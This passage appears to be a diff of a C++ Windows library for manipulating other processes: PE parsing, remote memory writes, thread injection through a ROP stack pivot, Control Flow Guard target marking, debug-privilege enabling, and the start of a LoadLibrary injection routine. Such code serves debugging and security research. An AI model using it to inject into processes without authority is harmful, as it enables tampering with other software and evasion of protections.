exportedFunc* exp = this->getExport(importName.c_str());
if (!exp->isForwarded)
return exp->functionPointerRVA + ((unsigned long long)this->targetModuleBase);
moduleInMemory* forwardModule = NULL;
while (exp->isForwarded)
{
moduleInMemory* tmp2 = new moduleInMemory(targetProcess, getModuleBase(targetProcess, exp->forwardedModuleName.c_str()));
exp = tmp2->getExport(exp->forwardedFunctionName);
if (forwardModule != NULL)
delete forwardModule;
forwardModule = tmp2;
}
unsigned long long toRet;
toRet = exp->functionPointerRVA + ((unsigned long long)forwardModule->targetModuleBase);
delete forwardModule;
return toRet;
}
unsigned long long moduleInMemory::locateROPGadget(unsigned char* bytesToFind, unsigned int bytesToFindLen)
{
ROPGadgetInfo toFind(this->targetModuleBase, bytesToFind, bytesToFindLen);
// First, try our cache
std::map<ROPGadgetInfo, unsigned long long>::iterator it = gadgetCache.find(toFind);
if (it != gadgetCache.end())
{
// It's in the cache, so try that. The cache might be dirty so do check it before we return, and fall back to searching again if it
// isn't what we expect.
unsigned char* buf = (unsigned char*)malloc(toFind.bytesToFindLen);
readFromModule((*it).second - ((unsigned long long)targetModuleBase), buf, bytesToFindLen);
if (memcmp(buf, toFind.bytesToFind, bytesToFindLen) == 0)
return (*it).second;
}
// Nope, not in the cache (or the cache is dirty).
unsigned long long toRet = locateROPGadgetUncached(&toFind);
gadgetCache.insert(std::pair<ROPGadgetInfo, unsigned long long>(toFind, toRet));
return toRet;
}
unsigned long long moduleInMemory::locateROPGadgetUncached(ROPGadgetInfo* toFind)
{
for (unsigned int sectIdx = 0; sectIdx < sections.size(); sectIdx++)
{
section* sect = &sections[sectIdx];
if (!(sect->Characteristics & IMAGE_SCN_MEM_EXECUTE))
continue;
unsigned char* buf = (unsigned char*)malloc(toFind->bytesToFindLen);
for (unsigned int bytePtr = 0; bytePtr < sect->VirtualSize - toFind->bytesToFindLen; bytePtr++)
{
readFromModule(sect->VirtualAddress + bytePtr, buf, toFind->bytesToFindLen);
if (memcmp(buf, toFind->bytesToFind, toFind->bytesToFindLen) == 0)
return sect->VirtualAddress + bytePtr + ((unsigned long long)targetModuleBase);
}
}
throw std::exception("Cannot locate ROP gadget :(");
}
unsigned long long moduleInMemory::addModuleBase(unsigned long long toAdd)
{
return (((unsigned long long)targetModuleBase) + toAdd);
}
void moduleInMemory::injectThread(unsigned long long startRVA, unsigned long long* args, unsigned int argCount, bool waitForReturn)
{
// The based address we're calling
unsigned long long targetAddress = addModuleBase(startRVA);
// Allocate a stack for our injected thread.
stackBuilder stack(targetProcess, 0x10000);
// We will need to find a couple functions from kernelbase.dll, which our "shellcode" will use.
moduleInMemory kernelBase(targetProcess, L"kernelbase.dll");
unsigned long long exitThread = kernelBase.resolveExport(L"ExitThread");
stack.push(exitThread);
stack.push(targetAddress);
stack.writeToProcess();
// Make a new thread, suspended. We will set its stack and RIP values later on, before we resume it. We just supply bogus ones here.
DWORD tid;
HANDLE s = CreateRemoteThread(targetProcess, NULL, 0, (LPTHREAD_START_ROUTINE)NULL, NULL, CREATE_SUSPENDED, &tid);
if (!s)
throw std::runtime_error("CreateRemoteThread failed");
// Somewhat annoyingly, we can't alter the stack pointer via SetThreadContext until the new thread has been resumed. We need to use a
// ROP-style stack pivot in order to set it.
// We use this gadget:
// 49 8b e3 mov rsp, r11
// 41 5e pop r14
// c3 ret
unsigned char gadgetCode[] = {
0x49, 0x8b, 0xe3,
0x41, 0x5e,
0xc3
};
unsigned long long stackPivot = kernelBase.locateROPGadget(gadgetCode, sizeof(gadgetCode));
// We can now set our new thread to the RIP location we want, and set registers with any arguments.
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_ALL;
if (!GetThreadContext(s, &ctx))
throw std::runtime_error("GetThreadContext failed");
if (argCount > 0)
ctx.Rcx = args[0];
if (argCount > 1)
ctx.Rdx = args[1];
if (argCount > 2)
ctx.R8 = args[2];
if (argCount > 3)
ctx.R9 = args[3];
ctx.R11 = stack.getPtrToTopOfStack() - 8;
ctx.Rip = stackPivot;
SetThreadContext(s, &ctx);
ResumeThread(s);
if (waitForReturn)
WaitForSingleObject(s, INFINITE);
}
void moduleInMemory::markCFGValid(unsigned long long ptrToMarkValid)
{
CFG_CALL_TARGET_INFO info;
info.Flags = CFG_CALL_TARGET_VALID;
info.Offset = ptrToMarkValid;
if (!SetProcessValidCallTargets_(targetProcess, (void*)targetModuleBase, sizeOfImage, 1, &info))
throw std::exception("SetProcessValidCallTargets failed");
}
section* moduleInMemory::getSectionForAddress(unsigned long long toFind)
{
unsigned long long RVA = toFind - (unsigned long long)targetModuleBase;
for (unsigned int sectIndex = 0; sectIndex < sections.size(); sectIndex++)
{
section sect = sections[sectIndex];
if (RVA >= sect.VirtualAddress &&
RVA <= sect.VirtualAddress + sect.VirtualSize)
{
return &sections[sectIndex];
}
}
return NULL;
}
section* moduleInMemory::getSectionByName(std::wstring toFind)
{
for (unsigned int sectIndex = 0; sectIndex < sections.size(); sectIndex++)
{
section sect = sections[sectIndex];
if (sect.name == toFind.c_str())
return &sections[sectIndex];
}
return NULL;
}
void moduleInMemory::readFromModule(unsigned long long srcAddress, void* outBuf, SIZE_T bytesToRead)
{
SIZE_T bytesActuallyRead;
int s = ReadProcessMemory(targetProcess, &((unsigned char*)targetModuleBase)[srcAddress], outBuf, bytesToRead, &bytesActuallyRead);
if (!s)
{
std::ostringstream os("");
os << "Failed ReadProcessMemory of " << bytesToRead << " bytes starting from " << std::hex << targetModuleBase << "+" << srcAddress <<
" : read only " << std::dec << bytesActuallyRead << " of " << bytesToRead << ", GLE " << GetLastError();
throw std::runtime_error(os.str());
}
}
std::wstring moduleInMemory::readStringFromModule(unsigned long long srcAddress)
{
std::wostringstream os;
// Pretty ineffecient since we read a byte at a time.
int n = 0;
char moduleNameLetter;
do
{
readFromModule(srcAddress + n, &moduleNameLetter, 1);
if (moduleNameLetter != 0)
os << moduleNameLetter;
n++;
} while (moduleNameLetter != 0);
return os.str();
}
void moduleInMemory::writeToModule(void* srcData, unsigned long long destAddress, SIZE_T bytesToWrite)
{
unsigned long long srcCursor = (unsigned long long)srcData;
unsigned long long dstBased = (unsigned long long)&((unsigned char*)targetModuleBase)[destAddress];
// Write a page at a time, checking and changing permissions if needed.
while (bytesToWrite > 0)
{
unsigned long long toWriteThisPage = bytesToWrite;
if (toWriteThisPage > 0x1000)
toWriteThisPage = 0x1000;
// printf("Write 0x%08llx bytes at 0x%016llx\n", toWriteThisPage, dstBased);
// Make it writable
DWORD oldPerms;
if (!VirtualProtectEx(targetProcess, (PVOID*)dstBased, toWriteThisPage, PAGE_EXECUTE_READWRITE, &oldPerms))
throw std::runtime_error("oh no");
writeToModuleWithoutPermissionCheck((void*)srcCursor, dstBased, toWriteThisPage);
// Restore the previous permissions
if (!VirtualProtectEx(targetProcess, (PVOID*)dstBased, toWriteThisPage, oldPerms, &oldPerms))
throw std::runtime_error("oh no");
if (bytesToWrite < toWriteThisPage)
break;
bytesToWrite -= toWriteThisPage;
srcCursor += toWriteThisPage;
dstBased += toWriteThisPage;
}
}
importedFunc* moduleInMemory::getImport(std::wstring moduleName, std::wstring functionName)
{
for (unsigned int n = 0; n < imports.size(); n++)
{
if ((imports[n].functionName == functionName) &&
(imports[n].moduleName == moduleName))
return &imports[n];
}
return NULL;
}
BOOL moduleInMemory::hasExport(std::wstring functionName)
{
for (unsigned int n = 0; n < exports.size(); n++)
{
if (exports[n].functionName == functionName)
return true;
}
return false;
}
exportedFunc* moduleInMemory::getExport(std::wstring functionName)
{
for (unsigned int n = 0; n < exports.size(); n++)
{
if (exports[n].functionName == functionName)
return &exports[n];
}
std::wstringstream os(L"");
os << "Failed to find export '" << functionName << "' ";
throw errorMaker::wruntime_error(&os);
}
moduleInMemory::moduleInMemory()
{
}
void moduleInMemory::processModule()
{
IMAGE_DOS_HEADER mz;
readFromModule(0, &mz, sizeof(mz));
if (mz.e_magic != IMAGE_DOS_SIGNATURE)
throw std::runtime_error("Module has incorrect MZ signature");
IMAGE_NT_HEADERS pe;
readFromModule(mz.e_lfanew, &pe, sizeof(pe));
if (pe.Signature != IMAGE_NT_SIGNATURE)
throw std::runtime_error("Module has incorrect PE signature");
this->entrypoint = pe.OptionalHeader.AddressOfEntryPoint;
// Sections start directly after the PE.
unsigned long long sectPtr = mz.e_lfanew + FIELD_OFFSET(IMAGE_NT_HEADERS, OptionalHeader) + pe.FileHeader.SizeOfOptionalHeader;
for (unsigned int sectionIndex = 0; sectionIndex < pe.FileHeader.NumberOfSections; sectionIndex++)
{
IMAGE_SECTION_HEADER sect;
readFromModule(sectPtr, &sect, sizeof(IMAGE_SECTION_HEADER));
sections.push_back(section(&sect));
sectPtr += sizeof(IMAGE_SECTION_HEADER);
}
setPEFeatures(&pe);
processModuleImports(&pe);
processModuleExports(&pe);
processModuleRelocs(&pe);
processModuleTLSCallbacks(&pe);
}
void moduleInMemory::setPEFeatures(IMAGE_NT_HEADERS *pe)
{
preferredBaseAddress = pe->OptionalHeader.ImageBase;
sizeOfImage = pe->OptionalHeader.SizeOfImage;
unsigned int numOfDataDirectories = pe->OptionalHeader.NumberOfRvaAndSizes;
hasImports = (numOfDataDirectories - 1 >= IMAGE_DIRECTORY_ENTRY_IMPORT);
hasExports = (numOfDataDirectories - 1 >= IMAGE_DIRECTORY_ENTRY_EXPORT);
hasTLS = (numOfDataDirectories - 1 >= IMAGE_DIRECTORY_ENTRY_TLS);
// Some compilers emit a zero'ed out TLS data directory to signify the absence of TLS data.
if (hasTLS)
{
if (pe->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].Size == 0)
hasTLS = false;
}
}
void moduleInMemory::processModuleImports(IMAGE_NT_HEADERS *pe)
{
if (!hasImports)
return;
unsigned long long impDescPtr;
impDescPtr = pe->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
if (impDescPtr == 0)
return;
while (true)
{
IMAGE_IMPORT_DESCRIPTOR impDesc;
readFromModule(impDescPtr, &impDesc, sizeof(IMAGE_IMPORT_DESCRIPTOR));
if (impDesc.Name == 0)
break;
std::wstring importedModuleName = readStringFromModule((unsigned long long)impDesc.Name);
// TODO: detect / handle imports by ordinal, forwarded imports
DWORD oft = impDesc.OriginalFirstThunk;
DWORD ft = impDesc.FirstThunk;
do
{
DWORD thunkDataRVA;
readFromModule(oft, (void*)&thunkDataRVA, sizeof(DWORD));
if (thunkDataRVA == 0)
break;
unsigned long long pointerSite = ft + pe->OptionalHeader.ImageBase;
std::wstring importedFunctionName = readStringFromModule((unsigned long long)thunkDataRVA + 2);
// printf("Function import from module '%s' of function '%s': pointer is stored at RVA 0x%08lux\n", importedModuleName.c_str(), importedFunctionName.c_str(), ft);
importedFunc f(importedModuleName, importedFunctionName, pointerSite, (unsigned long long)ft);
imports.push_back(f);
oft += 8;
ft += 8;
} while (true);
impDescPtr += sizeof(IMAGE_IMPORT_DESCRIPTOR);
}
}
void moduleInMemory::processModuleExports(IMAGE_NT_HEADERS *pe)
{
if (!hasExports)
return;
unsigned long long expDescPtr;
unsigned long long expDescLimit;
expDescPtr = pe->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
expDescLimit = pe->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress + pe->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;
if (expDescPtr == 0)
return;
IMAGE_EXPORT_DIRECTORY expDesc;
readFromModule(expDescPtr, &expDesc, sizeof(IMAGE_EXPORT_DIRECTORY));
if (expDesc.Name == 0)
return;
std::wstring exportName = readStringFromModule((unsigned long long)expDesc.Name);
unsigned int functionCount = 0;
DWORD functions = expDesc.AddressOfFunctions;
// Read name ordinals into memory, it makes things simpler
USHORT* nameOrdinals = (USHORT*)malloc(expDesc.NumberOfFunctions * sizeof(USHORT));
readFromModule(expDesc.AddressOfNameOrdinals, nameOrdinals, expDesc.NumberOfFunctions * sizeof(USHORT));
for (unsigned int funcIdx = 0; funcIdx < expDesc.NumberOfNames; funcIdx++)
{
DWORD funcNameRVA = expDesc.AddressOfNames + (funcIdx * sizeof(DWORD));
readFromModule(funcNameRVA, (void*)&funcNameRVA, sizeof(DWORD));
unsigned long long exportedCodePtr = expDesc.AddressOfFunctions + (nameOrdinals[funcIdx] * sizeof(DWORD));
unsigned long long exportedCodeRVA = 0;
readFromModule(exportedCodePtr, (void*)&exportedCodeRVA, sizeof(DWORD));
unsigned long long exportedCode = exportedCodeRVA + (unsigned long long)targetModuleBase;
std::wstring exportedFunctionName = readStringFromModule(funcNameRVA);
// If the exported function is outside the export table, it's a forwarded export.
if (exportedCodeRVA >= expDescPtr && exportedCodeRVA < expDescLimit)
{
std::wstring forwardString = readStringFromModule(exportedCodeRVA);
SIZE_T dotPos = forwardString.find(L".");
std::wstring forwardedModule = forwardString.substr(0, dotPos);
std::wstring forwardedFunction = forwardString.substr(dotPos + 1, forwardString.size());
exportedFunc f(exportedFunctionName, forwardedModule, forwardedFunction);
exports.push_back(f);
}
else
{
exportedFunc f(exportedFunctionName, exportedCode, exportedCodeRVA);
exports.push_back(f);
}
};
free(nameOrdinals);
}
void moduleInMemory::processModuleRelocs(IMAGE_NT_HEADERS *pe)
{
unsigned long long relocsPtr = pe->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;
if (relocsPtr == NULL)
return;
unsigned long long endOfRelocsPtr = pe->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress + pe->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
while (relocsPtr < endOfRelocsPtr)
{
IMAGE_BASE_RELOCATION relocBlock;
readFromModule(relocsPtr, &relocBlock, sizeof(IMAGE_BASE_RELOCATION));
unsigned long long blockData = relocsPtr + sizeof(IMAGE_BASE_RELOCATION);
for (unsigned int relocIndex = 0; relocIndex < (relocBlock.SizeOfBlock - 8) / sizeof(WORD); relocIndex++)
{
unsigned short relocAndType;
readFromModule(blockData, &relocAndType, sizeof(unsigned short));
unsigned char relocType = (relocAndType >> 12);
unsigned short relocVal = (relocAndType & 0x0fff);
if (relocType == IMAGE_REL_BASED_ABSOLUTE)
{
// .. nothing to do for this type
}
else if (relocType == IMAGE_REL_BASED_DIR64)
{
unsigned long long relocAddr = relocBlock.VirtualAddress + relocVal;
// unsigned long long toAdd = ((unsigned long long)targetModuleBase) - pe->OptionalHeader.ImageBase;
relocs.push_back(relocation(relocAddr, 0, sizeof(unsigned long long)));
}
else
{
throw std::runtime_error("Unrecognised relocation type");
}
relocsPtr += 2;
blockData += 2;
}
relocsPtr += sizeof(IMAGE_BASE_RELOCATION);
}
}
void moduleInMemory::processModuleTLSCallbacks(IMAGE_NT_HEADERS *pe)
{
if (!hasTLS)
return;
unsigned long long tlsTablePtr = pe->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].VirtualAddress;
if (pe->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].Size != sizeof(IMAGE_TLS_DIRECTORY))
throw std::runtime_error("Module has TLS entry not of sizeof(IMAGE_TLS_DIRECTORY)");
IMAGE_TLS_DIRECTORY tlsDir;
readFromModule(tlsTablePtr, &tlsDir, sizeof(IMAGE_TLS_DIRECTORY));
unsigned long long callbackCursor = tlsDir.AddressOfCallBacks - ((unsigned long long)targetModuleBase);
while (true)
{
unsigned long long callbackAddress;
readFromModule(callbackCursor, &callbackAddress, sizeof(unsigned long long));
if (callbackAddress == NULL)
break;
TLSCallbacks.push_back(callbackAddress - ((unsigned long long)targetModuleBase));
callbackCursor += sizeof(unsigned long long);
}
}
void moduleInMemory::writeToModuleWithoutPermissionCheck(void* srcData, unsigned long long dstBased, SIZE_T bytesToWrite)
{
SIZE_T bytesActuallyWritten;
int s = WriteProcessMemory(targetProcess, (void*)dstBased, srcData, bytesToWrite, &bytesActuallyWritten);
if (!s)
{
std::ostringstream os("");
os << "Failed WriteProcessMemory of " << bytesToWrite << " bytes starting from " << std::hex << dstBased <<
" : wrote only " << std::dec << bytesActuallyWritten << " of " << bytesToWrite << ", GLE " << GetLastError();
throw std::runtime_error(os.str());
}
}
moduleFromDisk::moduleFromDisk(LPCWSTR filename)
{
fhnd = CreateFile(filename, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
if (fhnd == INVALID_HANDLE_VALUE)
{
std::ostringstream os("");
os << "Unable to open file '" << filename << "', GLE reported error code " << GetLastError();
throw std::runtime_error(os.str());
}
IMAGE_DOS_HEADER mz;
readFromFile(0, &mz, sizeof(mz));
if (mz.e_magic != IMAGE_DOS_SIGNATURE)
throw std::runtime_error("Module has incorrect MZ signature");
IMAGE_NT_HEADERS pe;
readFromFile(mz.e_lfanew, &pe, sizeof(pe));
if (pe.Signature != IMAGE_NT_SIGNATURE)
throw std::runtime_error("Module has incorrect PE signature");
this->targetProcess = GetCurrentProcess();
this->entrypoint = pe.OptionalHeader.AddressOfEntryPoint;
// Alloc enough memory for the whole image
this->targetModuleBase = VirtualAlloc((void*)pe.OptionalHeader.ImageBase, pe.OptionalHeader.SizeOfImage, MEM_RESERVE + MEM_COMMIT, PAGE_READWRITE);
if (this->targetModuleBase == NULL)
throw std::runtime_error("Unable to allocate space for image");
if (this->targetModuleBase != (void*)pe.OptionalHeader.ImageBase)
throw std::runtime_error("Couldn't load image at preferred base address");
// Load the headers at the start of the loaded range
readFromFile(0, this->targetModuleBase, pe.OptionalHeader.SizeOfHeaders);
// Load each section
unsigned char* sectionPtr = (unsigned char*)this->targetModuleBase;
sectionPtr += mz.e_lfanew + FIELD_OFFSET(IMAGE_NT_HEADERS, OptionalHeader) + pe.FileHeader.SizeOfOptionalHeader;
IMAGE_SECTION_HEADER* sections = (IMAGE_SECTION_HEADER*)sectionPtr;
for (unsigned int sectionIndex = 0; sectionIndex < pe.FileHeader.NumberOfSections; sectionIndex++)
{
IMAGE_SECTION_HEADER sect;
memcpy(&sect, &sections[sectionIndex], sizeof(IMAGE_SECTION_HEADER));
section newSect(&sect);
this->sections.push_back(newSect);
}
setPEFeatures(&pe);
// load section data
for (unsigned int sectionIndex = 0; sectionIndex < pe.FileHeader.NumberOfSections; sectionIndex++)
readFromFile(sections[sectionIndex].PointerToRawData, (void*)(sections[sectionIndex].VirtualAddress + pe.OptionalHeader.ImageBase), sections[sectionIndex].SizeOfRawData);
// And finish the load.
IMAGE_NT_HEADERS* pePtr = (IMAGE_NT_HEADERS*)(((unsigned char*)this->targetModuleBase) + mz.e_lfanew);
processModuleImports(pePtr);
processModuleExports(pePtr);
processModuleRelocs(&pe);
processModuleTLSCallbacks(pePtr);
}
moduleFromDisk::~moduleFromDisk()
{
CloseHandle(fhnd);
}
void moduleFromDisk::readFromFile(int pos, void* outbuf, int size)
{
DWORD bytesRead;
SetFilePointer(fhnd, pos, 0, FILE_BEGIN);
if (!ReadFile(fhnd, outbuf, size, &bytesRead, NULL))
throw std::runtime_error("ReadFile failed");
if (bytesRead != size)
throw std::runtime_error("short read");
}
// FIXME: do these classes violate const safety?
std::runtime_error errorMaker::wruntime_error(std::wstring unicodeMsg)
{
std::wstring_convert<std::codecvt_utf8_utf16<wchar_t>> converter;
std::string messageAnsi = converter.to_bytes(unicodeMsg);
return std::runtime_error(messageAnsi);
}
std::runtime_error errorMaker::wruntime_error(std::wstringstream* unicodeMsgStream)
{
return wruntime_error(unicodeMsgStream->str());
}
stackBuilder::stackBuilder(HANDLE newTargetProcess, unsigned long long newStackSize) : targetProcess(newTargetProcess), stackSizeBytes(newStackSize)
{
stackInTargetAddressSpace = (unsigned long long)VirtualAllocEx(targetProcess, NULL, stackSizeBytes, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (stackInTargetAddressSpace == NULL)
{
std::wstringstream os(L"");
os << "Failed to allocate " << std::hex << stackSizeBytes << " bytes for stack: GetLastError is " << std::dec << GetLastError();
throw errorMaker::wruntime_error(&os);
}
// We do all the stack building in our own processess address space, and then copy it
// to the target in writeToProcess.
stack = (unsigned long long*)calloc(stackSizeBytes, 1);
stackSizeULLs = stackSizeBytes / sizeof(unsigned long long);
stackPointerULLs = stackSizeULLs;
// We will put our data near the top of this stack, allowing some extra headroom.
if (stackSizeULLs < 20)
throw std::runtime_error("stackSize: too small stack space");
stackPointerULLs -= 20;
}
void stackBuilder::push(unsigned long long newVal)
{
if (stackPointerULLs == 0)
throw std::runtime_error("stackSize: stack is too small to push anything more");
stackPointerULLs--;
stack[stackPointerULLs] = newVal;
}
unsigned long long stackBuilder::writeToProcess()
{
SIZE_T written = 0;
if (!WriteProcessMemory(targetProcess, (void*)stackInTargetAddressSpace, stack, stackSizeBytes, &written) || written != stackSizeBytes)
{
std::wstringstream os(L"");
os << "Failed to WriteProcessMemory; wrote " << written << " of " << stackSizeBytes << " bytes; GetLastError is " << GetLastError();
throw errorMaker::wruntime_error(&os);
}
return stackInTargetAddressSpace;
}
unsigned long long stackBuilder::getPtrToTopOfStack()
{
return stackInTargetAddressSpace + (stackPointerULLs * sizeof(unsigned long long));
}
+165
View File
@@ -0,0 +1,165 @@
#pragma once
#include <string>
#include <vector>
#include <map>
class section
{
public:
section();
section(IMAGE_SECTION_HEADER* hdr);
std::wstring name;
DWORD Characteristics;
DWORD PhysicalAddress;
DWORD VirtualAddress;
DWORD VirtualSize;
};
class relocation
{
public:
unsigned long long targetSite;
unsigned long long fixedUpValue;
unsigned int size;
relocation(unsigned long long newTargetSite, unsigned long long newFixedUpValue, unsigned int newSize);
};
class exportedFunc
{
public:
exportedFunc(std::wstring functionName, unsigned long long functionPointerSite, unsigned long long functionPointerRVA);
exportedFunc(std::wstring functionName, std::wstring forwardedModuleName, std::wstring forwardedFunctionName);
std::wstring functionName;
unsigned long long functionPointerSite;
unsigned long long functionPointerRVA;
std::wstring forwardedFunctionName;
std::wstring forwardedModuleName;
BOOL isForwarded;
};
class importedFunc : public exportedFunc
{
public:
importedFunc(std::wstring moduleName, std::wstring functionName, unsigned long long functionPointerSite, unsigned long long functionPointerRVA);
std::wstring moduleName;
};
class moduleInMemory
{
public:
moduleInMemory(HANDLE targetProcessHandle, void* targetModuleBase);
moduleInMemory(HANDLE targetProcessHandle, std::wstring targetModuleName);
void injectThread(unsigned long long startRVA, unsigned long long* args, unsigned int argCount, bool waitForReturn = true);
section* getSectionForAddress(unsigned long long toFind);
section* getSectionByName(std::wstring toFind);
void readFromModule(unsigned long long srcAddress, void* outBuf, SIZE_T bytesToRead);
std::wstring readStringFromModule(unsigned long long srcAddress);
void writeToModule(void* srcData, unsigned long long destAddress, SIZE_T bytesToWrite);
importedFunc* getImport(std::wstring moduleName, std::wstring functionName);
exportedFunc* getExport(std::wstring functionName);
BOOL hasExport(std::wstring functionName);
void markCFGValid(unsigned long long ptrToMarkValid);
unsigned long long resolveExport(std::wstring importName);
unsigned long long locateROPGadget(unsigned char* bytesToFind, unsigned int bytesToFindLen);
unsigned long long entrypoint;
std::vector<section> sections;
std::vector<importedFunc> imports;
std::vector<exportedFunc> exports;
std::vector<unsigned long long> TLSCallbacks;
std::vector<relocation> relocs;
bool hasImports;
bool hasExports;
bool hasTLS;
void* targetModuleBase;
unsigned long long sizeOfImage;
unsigned long long preferredBaseAddress;
private:
void commonInit();
HANDLE targetProcess;
typedef BOOL(*SetProcessValidCallTargetsType)(HANDLE hProcess, PVOID VirtualAddress, SIZE_T RegionSize, ULONG NumberOfOffsets, PCFG_CALL_TARGET_INFO OffsetInformation);
SetProcessValidCallTargetsType SetProcessValidCallTargets_;
moduleInMemory();
void processModule();
void setPEFeatures(IMAGE_NT_HEADERS *pe);
void processModuleImports(IMAGE_NT_HEADERS *pe);
void processModuleExports(IMAGE_NT_HEADERS *pe);
void processModuleRelocs(IMAGE_NT_HEADERS *pe);
void processModuleTLSCallbacks(IMAGE_NT_HEADERS *pe);
class ROPGadgetInfo
{
public:
ROPGadgetInfo(void* newModuleBase, unsigned char* newBytesToFind, unsigned int newBytesToFindLen) : moduleBase(newModuleBase), bytesToFind(newBytesToFind), bytesToFindLen(newBytesToFindLen)
{
}
bool operator<(const ROPGadgetInfo& other) const
{
if (moduleBase != other.moduleBase)
return moduleBase > other.moduleBase;
if (bytesToFindLen != other.bytesToFindLen)
return bytesToFindLen > other.bytesToFindLen;
return memcmp(bytesToFind, other.bytesToFind, bytesToFindLen);
}
void* moduleBase;
unsigned char* bytesToFind;
unsigned int bytesToFindLen;
};
static std::map<ROPGadgetInfo, unsigned long long> gadgetCache;
unsigned long long locateROPGadgetUncached(ROPGadgetInfo* toFind);
unsigned long long addModuleBase(unsigned long long toAdd);
void writeToModuleWithoutPermissionCheck(void* srcData, unsigned long long dstBased, SIZE_T bytesToWrite);
friend class moduleFromDisk;
};
class moduleFromDisk : public moduleInMemory
{
public:
moduleFromDisk(LPCWSTR filename);
~moduleFromDisk();
private:
HANDLE fhnd;
void readFromFile(int pos, void* outbuf, int size);
};
class errorMaker
{
public:
static std::runtime_error wruntime_error(std::wstring unicodeMsg);
static std::runtime_error wruntime_error(std::wstringstream* unicodeMsgStream);
};
class stackBuilder
{
public:
stackBuilder(HANDLE newTargetProcess, unsigned long long newStackSize);
void push(unsigned long long newVal);
unsigned long long writeToProcess();
unsigned long long getPtrToTopOfStack();
private:
unsigned long long* stack;
unsigned long long stackSizeBytes;
unsigned long long stackSizeULLs;
unsigned long long stackPointerULLs;
HANDLE targetProcess;
unsigned long long stackInTargetAddressSpace;
};
+8
View File
@@ -0,0 +1,8 @@
#pragma once
#include "moduleManipulation.h"
BOOL EnableDebugPrivilege(BOOL bEnable);
void* injectLoadLibrary(HANDLE toScanHandle, const wchar_t* toLoad);
unsigned char* getModuleBase(HANDLE toScanHandle, const wchar_t* moduleNameSubstring);
BOOL isModuleLoaded(HANDLE toScanHandle, const wchar_t* moduleNameSubstring);
DWORD getPIDForProcessByName(TCHAR* toFind);
+1
View File
@@ -0,0 +1 @@
#include "stdafx.h"
+6
View File
@@ -0,0 +1,6 @@
#pragma once
#include "targetver.h"
#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers
#include <Windows.h>
+8
View File
@@ -0,0 +1,8 @@
#pragma once
// Including SDKDDKVer.h defines the highest available Windows platform.
// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and
// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h.
#include <SDKDDKVer.h>
+172
View File
@@ -0,0 +1,172 @@
#include "stdafx.h"
#include <stdio.h>
#include <stdexcept>
#include <sstream>
#include <tlhelp32.h>
#include <psapi.h>
#include <shlwapi.h>
#include <string.h>
#include "moduleManipulation.h"
BOOL EnableDebugPrivilege(BOOL bEnable)
{
HANDLE hToken = nullptr;
LUID luid;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) return FALSE;
if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)) return FALSE;
TOKEN_PRIVILEGES tokenPriv;
tokenPriv.PrivilegeCount = 1;
tokenPriv.Privileges[0].Luid = luid;
tokenPriv.Privileges[0].Attributes = bEnable ? SE_PRIVILEGE_ENABLED : 0;
if (!AdjustTokenPrivileges(hToken, FALSE, &tokenPriv, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) return FALSE;
return TRUE;
}
unsigned char* getModuleBase(HANDLE toScanHandle, const wchar_t* moduleNameSubstring)
{
DWORD cbNeeded;
int s = EnumProcessModules(toScanHandle, NULL, 0, &cbNeeded);
if (s == 0)
{
printf("Couldn't call EnumProcessModules to get buffer size, gle %d\n", GetLastError());
return NULL;
}
HMODULE* moduleList = (HMODULE*)malloc(cbNeeded);
memset(moduleList, 0, cbNeeded);
s = EnumProcessModules(toScanHandle, moduleList, cbNeeded, &cbNeeded);
if (s == 0)
{
// This'll happen sometimes if there's a module loaded between our calls.
// TODO: we can retry in this case.
printf("Couldn't call EnumProcessModules to get modules, gle %d.\n", GetLastError());
return NULL;
}
for (HMODULE* thisModPtr = &moduleList[0]; thisModPtr < &moduleList[cbNeeded / sizeof(HMODULE)]; thisModPtr++)
{
HMODULE thisModule = *thisModPtr;
wchar_t szModName[MAX_PATH];
memset(szModName, 0, MAX_PATH);
if (GetModuleFileNameEx(toScanHandle, thisModule, szModName, MAX_PATH - sizeof(wchar_t)) == 0)
{
printf("GetModuleFileNameEx failed, GLE %d\n", GetLastError());
continue;
}
if (StrStrI(szModName, moduleNameSubstring) != NULL)
{
free(moduleList);
return (unsigned char*)thisModule;
}
}
free(moduleList);
return NULL;
}
BOOL isModuleLoaded(HANDLE toScanHandle, const wchar_t* moduleNameSubstring)
{
return getModuleBase(toScanHandle, moduleNameSubstring) != NULL;
}
void* injectLoadLibrary(HANDLE toScanHandle, const wchar_t* toLoad)
{
// Find kernelbase and then LoadLibraryA
moduleInMemory kernelbase(toScanHandle, L"kernelbase.dll");
unsigned long long loadLibraryWInTargetProcess = kernelbase.resolveExport(L"LoadLibraryW");
// Put the name of the module we're loading in the target's address space
unsigned long long moduleName = (unsigned long long)VirtualAllocEx(toScanHandle, NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (moduleName == NULL)
{
std::wstringstream os(L"");
os << "Failed to allocate 0x1000 bytes for module name: GetLastError is " << std::dec << GetLastError();
throw errorMaker::wruntime_error(&os);
}
SIZE_T written = 0;
SIZE_T toWrite = lstrlenW(toLoad) * sizeof(wchar_t);
if (!WriteProcessMemory(toScanHandle, (void*)moduleName, toLoad, toWrite, &written) || written != toWrite)
{
std::wstringstream os(L"");
